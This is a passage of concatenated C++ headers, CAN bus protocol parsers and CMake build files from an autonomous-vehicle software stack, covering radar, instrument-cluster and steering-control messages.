abstract_vehicle_factory) add_library(ch_message_manager ch_message_manager.cc ch_message_manager.h) target_link_libraries(ch_message_manager canbus_proto canbus_ch_protocol message_manager_base canbus_common) add_library(ch_controller ch_controller.cc ch_controller.h) target_link_libraries(ch_controller ch_message_manager canbus_proto vehicle_controller_base canbus_ch_protocol can_sender message_manager_base canbus_common)<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(affine_constraint affine_constraint.cc affine_constraint.h) target_link_libraries(affine_constraint polynomial_xd eigen) add_library(spline_1d_seg spline_1d_seg.cc spline_1d_seg.h) target_link_libraries(spline_1d_seg polynomial_xd eigen) add_library(spline_1d spline_1d.cc spline_1d.h) target_link_libraries(spline_1d affine_constraint spline_1d_seg polynomial_xd eigen) add_library(spline_1d_constraint spline_1d_constraint.cc spline_1d_constraint.h) target_link_libraries(spline_1d_constraint affine_constraint spline_1d log eigen) add_library(spline_seg_kernel spline_seg_kernel.cc spline_seg_kernel.h) target_link_libraries(spline_seg_kernel log macros eigen) add_library(spline_1d_kernel spline_1d_kernel.cc spline_1d_kernel.h) target_link_libraries(spline_1d_kernel affine_constraint spline_1d spline_seg_kernel eigen) add_library(spline_1d_solver spline_1d_solver.cc spline_1d_solver.h) target_link_libraries(spline_1d_solver spline_1d spline_1d_constraint spline_1d_kernel /modules/common/math/qp_solver active_set_qp_solver planning_gflags qp_problem_proto eigen) add_library(active_set_spline_1d_solver active_set_spline_1d_solver.cc active_set_spline_1d_solver.h) target_link_libraries(active_set_spline_1d_solver spline_1d_solver /modules/common/time eigen) add_library(osqp_spline_1d_solver osqp_spline_1d_solver.cc osqp_spline_1d_solver.h) target_link_libraries(osqp_spline_1d_solver spline_1d_solver matrix_operations /modules/common/time eigen osqp) add_library(spline_2d_seg spline_2d_seg.cc spline_2d_seg.h) target_link_libraries(spline_2d_seg polynomial_xd eigen) add_library(spline_2d spline_2d.cc spline_2d.h) target_link_libraries(spline_2d spline_2d_seg polynomial_xd eigen) add_library(spline_2d_constraint spline_2d_constraint.cc spline_2d_constraint.h) target_link_libraries(spline_2d_constraint affine_constraint spline_2d angle geometry eigen) add_library(spline_2d_kernel spline_2d_kernel.cc spline_2d_kernel.h) target_link_libraries(spline_2d_kernel spline_2d spline_seg_kernel geometry eigen) add_library(spline_2d_solver INTERFACE) target_link_libraries(spline_2d_solver INTERFACE spline_2d spline_2d_constraint spline_2d_kernel geometry matrix_operations /modules/common/math/qp_solver active_set_qp_solver /modules/common/time planning_gflags eigen osqp) add_library(active_set_spline_2d_solver active_set_spline_2d_solver.cc active_set_spline_2d_solver.h) target_link_libraries(active_set_spline_2d_solver spline_2d_solver) add_library(osqp_spline_2d_solver osqp_spline_2d_solver.cc osqp_spline_2d_solver.h) target_link_libraries(osqp_spline_2d_solver spline_2d_solver matrix_operations osqp) add_library(piecewise_linear_constraint piecewise_linear_constraint.cc piecewise_linear_constraint.h) target_link_libraries(piecewise_linear_constraint log eigen) add_library(piecewise_linear_kernel piecewise_linear_kernel.cc piecewise_linear_kernel.h) target_link_libraries(piecewise_linear_kernel log eigen) add_library(piecewise_linear_generator piecewise_linear_generator.cc piecewise_linear_generator.h) target_link_libraries(piecewise_linear_generator piecewise_linear_constraint piecewise_linear_kernel /modules/common/math/qp_solver active_set_qp_solver eigen) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_debug_h #define impl_type_debug_h #include "impl_type_simplelateraldebug.h" #include "impl_type_simplelongtitudinaldebug.h" #include "impl_type_inputdebug.h" struct Debug { ::SimpleLongtitudinalDebug simple_lon_debug; ::SimpleLateralDebug simple_lat_debug; ::InputDebug input_debug; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(simple_lon_debug); fun(simple_lat_debug); fun(input_debug); } template<typename F> void enumerate(F& fun) const { fun(simple_lon_debug); fun(simple_lat_debug); fun(input_debug); } bool operator == (const ::Debug& t) const { return (simple_lon_debug == t.simple_lon_debug) && (simple_lat_debug == t.simple_lat_debug) && (input_debug == t.input_debug); } }; #endif // impl_type_debug_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(multi_camera_projection_config_proto multi_camera_projection_config.pb.cc multi_camera_projection_config.pb.h) target_link_libraries(multi_camera_projection_config_proto protobuf) add_library(recognizer_config_proto recognizer_config.pb.cc recognizer_config.pb.h) target_link_libraries(recognizer_config_proto protobuf) add_library(preprocessor_config_proto preprocessor_config.pb.cc preprocessor_config.pb.h) target_link_libraries(preprocessor_config_proto protobuf) add_library(rectifier_config_proto rectifier_config.pb.cc rectifier_config.pb.h) target_link_libraries(rectifier_config_proto protobuf) add_library(reviser_config_proto reviser_config.pb.cc reviser_config.pb.h) target_link_libraries(reviser_config_proto protobuf) add_library(subnode_config_proto subnode_config.pb.cc subnode_config.pb.h) target_link_libraries(subnode_config_proto protobuf)<file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(canbus_common canbus_gflags.cc canbus_gflags.h) target_link_libraries(canbus_common gflags)<file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_MRR_FROBJ_0X279_279_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_MRR_FROBJ_0X279_279_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Mrrfrobj0x279279 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Mrrfrobj0x279279(); uint32_t GetPeriod() const override; void UpdateData(uint8_t* data) override; void Reset() override; // config detail: {'name': 'MRR_F_Object_dy', 'enum': {511: 'MRR_F_OBJECT_DY_NO_OBJECT'}, 'precision': 0.0625, 'len': 9, 'is_signed_var': False, 'offset': -15.0, 'physical_range': '[-15|15]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrrfrobj0x279279* set_mrr_f_object_dy(double mrr_f_object_dy); // config detail: {'name': 'MRR_F_Obj_0x_class', 'enum': {0: 'MRR_F_OBJ_0X_CLASS_UNKNOWN', 1: 'MRR_F_OBJ_0X_CLASS_CAR', 2: 'MRR_F_OBJ_0X_CLASS_TRUCK', 3: 'MRR_F_OBJ_0X_CLASS_TWO_WHEELER'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrrfrobj0x279279* set_mrr_f_obj_0x_class(Mrr_frobj_0x279_279::Mrr_f_obj_0x_classType mrr_f_obj_0x_class); // config detail: {'name': 'MRR_FF_Object_dx', 'enum': {4095: 'MRR_FF_OBJECT_DX_NO_OBJECT'}, 'precision': 0.0625, 'len': 12, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255.875]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrrfrobj0x279279* set_mrr_ff_object_dx(double mrr_ff_object_dx); // config detail: {'name': 'MRR_FF_Object_dy', 'enum': {511: 'MRR_FF_OBJECT_DY_NO_OBJECT'}, 'precision': 0.0625, 'len': 9, 'is_signed_var': False, 'offset': -15.0, 'physical_range': '[-15|15]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrrfrobj0x279279* set_mrr_ff_object_dy(double mrr_ff_object_dy); // config detail: {'name': 'MRR_FF_Obj_0x_class', 'enum': {0: 'MRR_FF_OBJ_0X_CLASS_UNKNOWN', 1: 'MRR_FF_OBJ_0X_CLASS_CAR', 2: 'MRR_FF_OBJ_0X_CLASS_TRUCK', 3: 'MRR_FF_OBJ_0X_CLASS_TWO_WHEELER'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 42, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrrfrobj0x279279* set_mrr_ff_obj_0x_class(Mrr_frobj_0x279_279::Mrr_ff_obj_0x_classType mrr_ff_obj_0x_class); // config detail: {'name': 'MRR_FFTargrtDetection', 'enum': {0: 'MRR_FFTARGRTDETECTION_NOT_DECTECTED', 1: 'MRR_FFTARGRTDETECTION_DECTECTED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrrfrobj0x279279* set_mrr_fftargrtdetection(Mrr_frobj_0x279_279::Mrr_fftargrtdetectionType mrr_fftargrtdetection); // config detail: {'name': 'MRR_PedDetection', 'enum': {0: 'MRR_PEDDETECTION_NOT_DECTECTED', 1: 'MRR_PEDDETECTION_DECTECTED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrrfrobj0x279279* set_mrr_peddetection(Mrr_frobj_0x279_279::Mrr_peddetectionType mrr_peddetection); // config detail: {'name': 'MRR_F_Object_dx', 'enum': {4095: 'MRR_F_OBJECT_DX_NO_OBJECT'}, 'precision': 0.0625, 'len': 12, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255.875]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Mrrfrobj0x279279* set_mrr_f_object_dx(double mrr_f_object_dx); private: // config detail: {'name': 'MRR_F_Object_dy', 'enum': {511: 'MRR_F_OBJECT_DY_NO_OBJECT'}, 'precision': 0.0625, 'len': 9, 'is_signed_var': False, 'offset': -15.0, 'physical_range': '[-15|15]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_f_object_dy(uint8_t* data, double mrr_f_object_dy); // config detail: {'name': 'MRR_F_Obj_0x_class', 'enum': {0: 'MRR_F_OBJ_0X_CLASS_UNKNOWN', 1: 'MRR_F_OBJ_0X_CLASS_CAR', 2: 'MRR_F_OBJ_0X_CLASS_TRUCK', 3: 'MRR_F_OBJ_0X_CLASS_TWO_WHEELER'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_f_obj_0x_class(uint8_t* data, Mrr_frobj_0x279_279::Mrr_f_obj_0x_classType mrr_f_obj_0x_class); // config detail: {'name': 'MRR_FF_Object_dx', 'enum': {4095: 'MRR_FF_OBJECT_DX_NO_OBJECT'}, 'precision': 0.0625, 'len': 12, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255.875]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_ff_object_dx(uint8_t* data, double mrr_ff_object_dx); // config detail: {'name': 'MRR_FF_Object_dy', 'enum': {511: 'MRR_FF_OBJECT_DY_NO_OBJECT'}, 'precision': 0.0625, 'len': 9, 'is_signed_var': False, 'offset': -15.0, 'physical_range': '[-15|15]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_ff_object_dy(uint8_t* data, double mrr_ff_object_dy); // config detail: {'name': 'MRR_FF_Obj_0x_class', 'enum': {0: 'MRR_FF_OBJ_0X_CLASS_UNKNOWN', 1: 'MRR_FF_OBJ_0X_CLASS_CAR', 2: 'MRR_FF_OBJ_0X_CLASS_TRUCK', 3: 'MRR_FF_OBJ_0X_CLASS_TWO_WHEELER'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 42, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_ff_obj_0x_class(uint8_t* data, Mrr_frobj_0x279_279::Mrr_ff_obj_0x_classType mrr_ff_obj_0x_class); // config detail: {'name': 'MRR_FFTargrtDetection', 'enum': {0: 'MRR_FFTARGRTDETECTION_NOT_DECTECTED', 1: 'MRR_FFTARGRTDETECTION_DECTECTED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_fftargrtdetection(uint8_t* data, Mrr_frobj_0x279_279::Mrr_fftargrtdetectionType mrr_fftargrtdetection); // config detail: {'name': 'MRR_PedDetection', 'enum': {0: 'MRR_PEDDETECTION_NOT_DECTECTED', 1: 'MRR_PEDDETECTION_DECTECTED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_peddetection(uint8_t* data, Mrr_frobj_0x279_279::Mrr_peddetectionType mrr_peddetection); // config detail: {'name': 'MRR_F_Object_dx', 'enum': {4095: 'MRR_F_OBJECT_DX_NO_OBJECT'}, 'precision': 0.0625, 'len': 12, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255.875]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_mrr_f_object_dx(uint8_t* data, double mrr_f_object_dx); private: double mrr_f_object_dy_; Mrr_frobj_0x279_279::Mrr_f_obj_0x_classType mrr_f_obj_0x_class_; double mrr_ff_object_dx_; double mrr_ff_object_dy_; Mrr_frobj_0x279_279::Mrr_ff_obj_0x_classType mrr_ff_obj_0x_class_; Mrr_frobj_0x279_279::Mrr_fftargrtdetectionType mrr_fftargrtdetection_; Mrr_frobj_0x279_279::Mrr_peddetectionType mrr_peddetection_; double mrr_f_object_dx_; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_MRR_FROBJ_0X279_279_H_ <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/gw_ic_0x510_510.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; Gwic0x510510::Gwic0x510510() {} const int32_t Gwic0x510510::ID = 0x510; void Gwic0x510510::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_cx75()->mutable_gw_ic_0x510_510()->set_ic_airbagtelltalebehavior(ic_airbagtelltalebehavior(bytes, length)); chassis->mutable_cx75()->mutable_gw_ic_0x510_510()->set_ic_vehbrkpump_err_ic(ic_vehbrkpump_err_ic(bytes, length)); chassis->mutable_cx75()->mutable_gw_ic_0x510_510()->set_ic_disfail(ic_disfail(bytes, length)); chassis->mutable_cx75()->mutable_gw_ic_0x510_510()->set_ic_qdashaccfail(ic_qdashaccfail(bytes, length)); chassis->mutable_cx75()->mutable_gw_ic_0x510_510()->set_ic_vehspd_hmi(ic_vehspd_hmi(bytes, length)); chassis->mutable_cx75()->mutable_gw_ic_0x510_510()->set_ic_rolling_counter_0x510(ic_rolling_counter_0x510(bytes, length)); chassis->mutable_cx75()->mutable_gw_ic_0x510_510()->set_ic_checksum_0x510(ic_checksum_0x510(bytes, length)); chassis->mutable_cx75()->mutable_gw_ic_0x510_510()->set_ic_odometermastervalue(ic_odometermastervalue(bytes, length)); } // config detail: {'name': 'ic_airbagtelltalebehavior', 'enum': {0: 'IC_AIRBAGTELLTALEBEHAVIOR_NO_FAILURE_IN_LAMP_AND_LAMP_IS_OFF', 1: 'IC_AIRBAGTELLTALEBEHAVIOR_FAILURE_IN_LAMP', 2: 'IC_AIRBAGTELLTALEBEHAVIOR_NO_FAILURE_IN_THE_LAMP_LAMP_IS_ON', 3: 'IC_AIRBAGTELLTALEBEHAVIOR_NO_FAILURE_IN_THE_LAMP_LAMP_IS_BLINKING', 4: 'IC_AIRBAGTELLTALEBEHAVIOR_AIRBAGFAILSTS_SIGNAL_NOT_RECEIVED', 5: 'IC_AIRBAGTELLTALEBEHAVIOR_INVALID', 6: 'IC_AIRBAGTELLTALEBEHAVIOR_INVALID', 7: 'IC_AIRBAGTELLTALEBEHAVIOR_INVALID'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 24, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ic_0x510_510::Ic_airbagtelltalebehaviorType Gwic0x510510::ic_airbagtelltalebehavior(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 1); Byte t1(bytes + 4); int32_t t = t1.get_byte(6, 2); x <<= 2; x |= t; Gw_ic_0x510_510::Ic_airbagtelltalebehaviorType ret = static_cast<Gw_ic_0x510_510::Ic_airbagtelltalebehaviorType>(x); return ret; } // config detail: {'name': 'ic_vehbrkpump_err_ic', 'enum': {0: 'IC_VEHBRKPUMP_ERR_IC_NORMAL', 1: 'IC_VEHBRKPUMP_ERR_IC_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 28, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ic_0x510_510::Ic_vehbrkpump_err_icType Gwic0x510510::ic_vehbrkpump_err_ic(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(4, 1); Gw_ic_0x510_510::Ic_vehbrkpump_err_icType ret = static_cast<Gw_ic_0x510_510::Ic_vehbrkpump_err_icType>(x); return ret; } // config detail: {'name': 'ic_disfail', 'enum': {0: 'IC_DISFAIL_NO_ERROR', 1: 'IC_DISFAIL_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 29, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ic_0x510_510::Ic_disfailType Gwic0x510510::ic_disfail(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(5, 1); Gw_ic_0x510_510::Ic_disfailType ret = static_cast<Gw_ic_0x510_510::Ic_disfailType>(x); return ret; } // config detail: {'name': 'ic_qdashaccfail', 'enum': {0: 'IC_QDASHACCFAIL_NO_ERROR', 1: 'IC_QDASHACCFAIL_REVERSIBLE_ERROR', 2: 'IC_QDASHACCFAIL_IRREVERSIBLE_ERROR', 3: 'IC_QDASHACCFAIL_NOT_DEFINED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ic_0x510_510::Ic_qdashaccfailType Gwic0x510510::ic_qdashaccfail(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(6, 2); Gw_ic_0x510_510::Ic_qdashaccfailType ret = static_cast<Gw_ic_0x510_510::Ic_qdashaccfailType>(x); return ret; } // config detail: {'name': 'ic_vehspd_hmi', 'enum': {511: 'IC_VEHSPD_HMI_INVALID'}, 'precision': 1.0, 'len': 9, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|500]', 'bit': 37, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'kph'} int Gwic0x510510::ic_vehspd_hmi(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 4); int32_t x = t0.get_byte(0, 6); Byte t1(bytes + 5); int32_t t = t1.get_byte(5, 3); x <<= 3; x |= t; int ret = static_cast<int>(x); return ret; } // config detail: {'name': 'ic_rolling_counter_0x510', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwic0x510510::ic_rolling_counter_0x510(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'ic_checksum_0x510', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwic0x510510::ic_checksum_0x510(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'ic_odometermastervalue', 'enum': {16777215: 'IC_ODOMETERMASTERVALUE_INVALID'}, 'precision': 0.1, 'len': 24, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|999999]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'km'} double Gwic0x510510::ic_odometermastervalue(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 1); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; Byte t2(bytes + 2); t = t2.get_byte(0, 8); x <<= 8; x |= t; double ret = static_cast<double>(x); return ret; } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_gpsquality_h #define impl_type_gpsquality_h #include "impl_type_uint8.h" enum class GpsQuality : UInt8 { FIX_NO = 0, FIX_2D = 1, FIX_3D = 2, FIX_INVALID = 3 }; #endif // impl_type_gpsquality_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_executable(teleop main.cc) target_link_libraries(teleop ${COMMON_LIB} teleop_lib -lpthread) add_library(teleop_lib teleop.cc teleop.h) target_link_libraries(teleop_lib teleop_common common jmc_auto_app adapter_manager) add_library(teleop_common teleop_gflags.cc teleop_gflags.h) target_link_libraries(teleop_lib gflags) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_localization_h #define impl_type_localization_h #pragma pack(1) #include "impl_type_uncertainty.h" #include "impl_type_pose.h" struct Localization { ::Pose pose; ::Uncertainty uncertainty; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(pose); fun(uncertainty); } template<typename F> void enumerate(F& fun) const { fun(pose); fun(uncertainty); } bool operator == (const ::Localization& t) const { return (pose == t.pose) && (uncertainty == t.uncertainty); } }; #pragma pack() #endif // impl_type_localization_h <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_ADU_CONTROLEPS2_0X100_100_H_ #define MODULES_CANBUS_VEHICLE_TESHUN_PROTOCOL_ADU_CONTROLEPS2_0X100_100_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace teshun { class Aducontroleps20x100100 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Aducontroleps20x100100(); uint32_t GetPeriod() const override; void UpdateData(uint8_t* data) override; void Reset() override; // config detail: {'name': 'ADU_100h_MessageChecksum', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} Aducontroleps20x100100* set_adu_100h_messagechecksum(int adu_100h_messagechecksum); // config detail: {'name': 'ADU_100h_MessageCounter', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} Aducontroleps20x100100* set_adu_100h_messagecounter(int adu_100h_messagecounter); // config detail: {'name': 'ADU_CtrSteeringwheelanglespeed', 'offset': 0.0, 'precision': 1.0, 'len': 9, 'is_signed_var': False, 'physical_range': '[0|510]', 'bit': 31, 'type': 'int', 'order': 'motorola', 'physical_unit': 'deg/s'} Aducontroleps20x100100* set_adu_ctrsteeringwheelanglespeed(int adu_ctrsteeringwheelanglespeed); // config detail: {'name': 'ADU_ControSteeringwheelangle', 'offset': -612.0, 'precision': 0.1, 'len': 16, 'is_signed_var': False, 'physical_range': '[-612|612]', 'bit': 15, 'type': 'double', 'order': 'motorola', 'physical_unit': 'degree'} Aducontroleps20x100100* set_adu_controsteeringwheelangle(double adu_controsteeringwheelangle); // config detail: {'name': 'ADU_ControEpsEnable', 'enum': {0: 'ADU_CONTROEPSENABLE_DISABLE', 1: 'ADU_CONTROEPSENABLE_ENABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Aducontroleps20x100100* set_adu_controepsenable(Adu_controleps2_0x100_100::Adu_controepsenableType adu_controepsenable); private: // config detail: {'name': 'ADU_100h_MessageChecksum', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void set_p_adu_100h_messagechecksum(uint8_t* data, int adu_100h_messagechecksum); // config detail: {'name': 'ADU_100h_MessageCounter', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} void set_p_adu_100h_messagecounter(uint8_t* data, int adu_100h_messagecounter); // config detail: {'name': 'ADU_CtrSteeringwheelanglespeed', 'offset': 0.0, 'precision': 1.0, 'len': 9, 'is_signed_var': False, 'physical_range': '[0|510]', 'bit': 31, 'type': 'int', 'order': 'motorola', 'physical_unit': 'deg/s'} void set_p_adu_ctrsteeringwheelanglespeed(uint8_t* data, int adu_ctrsteeringwheelanglespeed); // config detail: {'name': 'ADU_ControSteeringwheelangle', 'offset': -612.0, 'precision': 0.1, 'len': 16, 'is_signed_var': False, 'physical_range': '[-612|612]', 'bit': 15, 'type': 'double', 'order': 'motorola', 'physical_unit': 'degree'} void set_p_adu_controsteeringwheelangle(uint8_t* data, double adu_controsteeringwheelangle); // config detail: {'name': 'ADU_ControEpsEnable', 'enum': {0: 'ADU_CONTROEPSENABLE_DISABLE', 1: 'ADU_CONTROEPSENABLE_ENABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void set_p_adu_controepsenable(uint8_t* data, Adu_controleps2_0x100_100::Adu_controepsenableType adu_controepsenable); private: int adu_100h_messagechecksum_; int adu_100h_messagecounter_; int adu_ctrsteeringwheelanglespeed_; double adu_controsteeringwheelangle_; Adu_controleps2_0x100_100::Adu_controepsenableType adu_controepsenable_; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_ADU_CONTROLEPS2_0X100_100_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_surround_h #define impl_type_surround_h #include "impl_type_double.h" #include "impl_type_bool.h" #include "impl_type_sonar.h" struct Surround { ::Bool cross_traffic_alert_left; ::Bool cross_traffic_alert_left_enabled; ::Bool blind_spot_left_alert; ::Bool blind_spot_left_alert_enabled; ::Bool cross_traffic_alert_right; ::Bool cross_traffic_alert_right_enabled; ::Bool blind_spot_right_alert; ::Bool blind_spot_right_alert_enabled; ::Double sonar00; ::Double sonar01; ::Double sonar02; ::Double sonar03; ::Double sonar04; ::Double sonar05; ::Double sonar06; ::Double sonar07; ::Double sonar08; ::Double sonar09; ::Double sonar10; ::Double sonar11; ::Bool sonar_enabled; ::Bool sonar_fault; ::Double sonar_range; ::Sonar sonar; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(cross_traffic_alert_left); fun(cross_traffic_alert_left_enabled); fun(blind_spot_left_alert); fun(blind_spot_left_alert_enabled); fun(cross_traffic_alert_right); fun(cross_traffic_alert_right_enabled); fun(blind_spot_right_alert); fun(blind_spot_right_alert_enabled); fun(sonar00); fun(sonar01); fun(sonar02); fun(sonar03); 